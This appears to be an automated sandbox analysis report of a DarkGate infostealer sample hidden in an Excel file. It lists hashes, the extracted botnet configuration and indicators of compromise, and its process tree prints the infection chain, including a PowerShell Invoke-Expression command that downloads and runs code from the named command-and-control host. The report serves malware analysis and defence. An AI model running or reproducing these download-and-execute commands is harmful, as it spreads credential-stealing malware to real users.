darkgate | 60332509742968a19b12375d995fa5f9c695962c08f7df4fe0dc1ef83fbdcfea

Analysis

max time kernel
1195s
max time network
946s
platform
windows10-1703_x64
resource
win10-20240221-en
resource tags

arch:x64arch:x86image:win10-20240221-enlocale:en-usos:windows10-1703-x64system
submitted
20-03-2024 12:54

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General

Target

ESAREA-ngoowrejjdebusx-1710889917.xlsx
Size

56KB
MD5

e561b5787c53f30780f0253e72fc87ea
SHA1

25c17311027b20774c96e16fd0557c1899ca8c1a
SHA256

60332509742968a19b12375d995fa5f9c695962c08f7df4fe0dc1ef83fbdcfea
SHA512

484cd13d83295a1d4c203e41cf6c2bd577683fef6872b7c317de7cdef096023bf39267474803189495cb22c7b824113101e1c4ad26d9ec79e5cc8776b1737357
SSDEEP

1536:Fkws9oLE3Ow6DyPgMUti9xx7bxNfI5ydaRLgIui3pqDyBROnlTo:FSoEOfEgMNdxI5yYhgu5zBRY0

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

badbutperfect.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
WZqqpfdY
minimum_disk
50
minimum_ram
4000
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral1/memory/3392-256-0x00000000049D0000-0x0000000004A43000-memory.dmp	family_darkgate_v6
behavioral1/memory/3392-257-0x00000000049D0000-0x0000000004A43000-memory.dmp	family_darkgate_v6

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3368	4076	WScript.exe	73

Blocklisted process makes network request 4 IoCs

flow	pid	Process
40	2244	powershell.exe
42	2244	powershell.exe
43	2244	powershell.exe
45	2244	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 1 IoCs

pid	Process
3392	AutoHotkey.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 5 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoHotkey.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoHotkey.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4076	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2244	powershell.exe
2244	powershell.exe
2244	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2244	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE
4076	EXCEL.EXE

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 4076 wrote to memory of 3368	4076	EXCEL.EXE	76
PID 4076 wrote to memory of 3368	4076	EXCEL.EXE	76
PID 3368 wrote to memory of 2244	3368	WScript.exe	77
PID 3368 wrote to memory of 2244	3368	WScript.exe	77
PID 2244 wrote to memory of 3392	2244	powershell.exe	79
PID 2244 wrote to memory of 3392	2244	powershell.exe	79
PID 2244 wrote to memory of 3392	2244	powershell.exe	79
PID 2244 wrote to memory of 4368	2244	powershell.exe	80
PID 2244 wrote to memory of 4368	2244	powershell.exe	80

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4368	attrib.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ESAREA-ngoowrejjdebusx-1710889917.xlsx"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4076
- C:\Windows\System32\WScript.exe
  "C:\Windows\System32\WScript.exe" "\\escuelademarina.com\cloud\AZURE_DOC_OPEN.vbs"
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3368
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri 'badbutperfect.com/nrwncpwo')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2244
  - - C:\rimz\AutoHotkey.exe
      "C:\rimz\AutoHotkey.exe" script.ahk
      4⤵
      Executes dropped EXE
      Checks processor information in registry
      PID:3392
  - - C:\Windows\system32\attrib.exe
      "C:\Windows\system32\attrib.exe" +h C:/rimz
      4⤵
      Views/modifies file attributes
      PID:4368

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zjhtnloc.cej.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\rimz\AutoHotkey.exe

Filesize
892KB

MD5
a59a2d3e5dda7aca6ec879263aa42fd3

SHA1
312d496ec90eb30d5319307d47bfef602b6b8c6c

SHA256
897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb

SHA512
852972ca4d7f9141ea56d3498388c61610492d36ea7d7af1b36d192d7e04dd6d9bc5830e0dcb0a5f8f55350d4d8aaac2869477686b03f998affbac6321a22030

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C:\rimz\script.ahk

Filesize
54KB

MD5
f02f0bba1f1f678da41abafd02f4c545

SHA1
c40b80bc4947d4ac52bc9c17d6d218b1fa9cd452

SHA256
5aac7d31149048763e688878c3910ae4881826db80e078754f5d08f2c1f39572

SHA512
8b56e388781a9fb855d8352f2cf175a7e0c5bb36bacd79be719ffa0c9f4c9f6e852bd460b6e9b0b7ea47ff38aa803e43a2366bf7a2686905c05bdd9e231b5b22

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C:\rimz\test.txt

Filesize
915KB

MD5
4e1b052f107d2ee5321b44fc0e107638

SHA1
679e1f8006a2d6ed61f0dbaf5e9d3cd252421cd4

SHA256
a39dba6db04a85050ba7949881769f4b006b4a8edf691a605bfa5fe7c24d3489

SHA512
5c4d1907ef2cbc894e8e33d268160a88e9db2d1a081676cba9d8fcfda4c120458a2ed90d44b2963accc842b03fac9bf231145d5991899bf6ab4871d9b65c2cb1

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memory/2244-254-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp

Filesize
9.9MB

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memory/2244-190-0x00007FFCA3A30000-0x00007FFCA441C000-memory.dmp

Filesize
9.9MB

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memory/2244-217-0x0000024A44C70000-0x0000024A44E32000-memory.dmp

Filesize
1.8MB

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memory/2244-212-0x0000024A44220000-0x0000024A44230000-memory.dmp

Filesize
64KB

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memory/2244-197-0x0000024A444B0000-0x0000024A44526000-memory.dmp

Filesize
472KB

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memory/2244-194-0x0000024A441B0000-0x0000024A441D2000-memory.dmp

Filesize
136KB

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memory/2244-193-0x0000024A44220000-0x0000024A44230000-memory.dmp

Filesize
64KB

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memory/2244-191-0x0000024A44220000-0x0000024A44230000-memory.dmp

Filesize
64KB

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memory/3392-256-0x00000000049D0000-0x0000000004A43000-memory.dmp

Filesize
460KB

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memory/3392-257-0x00000000049D0000-0x0000000004A43000-memory.dmp

Filesize
460KB

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memory/4076-11-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp

Filesize
64KB

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memory/4076-179-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-18-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-19-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-20-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-22-0x00007FFCC5B40000-0x00007FFCC5BEE000-memory.dmp

Filesize
696KB

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memory/4076-24-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-23-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-21-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-25-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-26-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-27-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-28-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-17-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-16-0x00007FFC84A60000-0x00007FFC84A70000-memory.dmp

Filesize
64KB

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memory/4076-14-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-15-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-13-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-0-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

Filesize
64KB

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memory/4076-12-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-10-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-9-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-8-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-6-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-4-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

Filesize
64KB

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memory/4076-2-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

Filesize
64KB

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memory/4076-3-0x00007FFCC8260000-0x00007FFCC843B000-memory.dmp

Filesize
1.9MB

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memory/4076-1-0x00007FFC882F0000-0x00007FFC88300000-memory.dmp

Filesize
64KB

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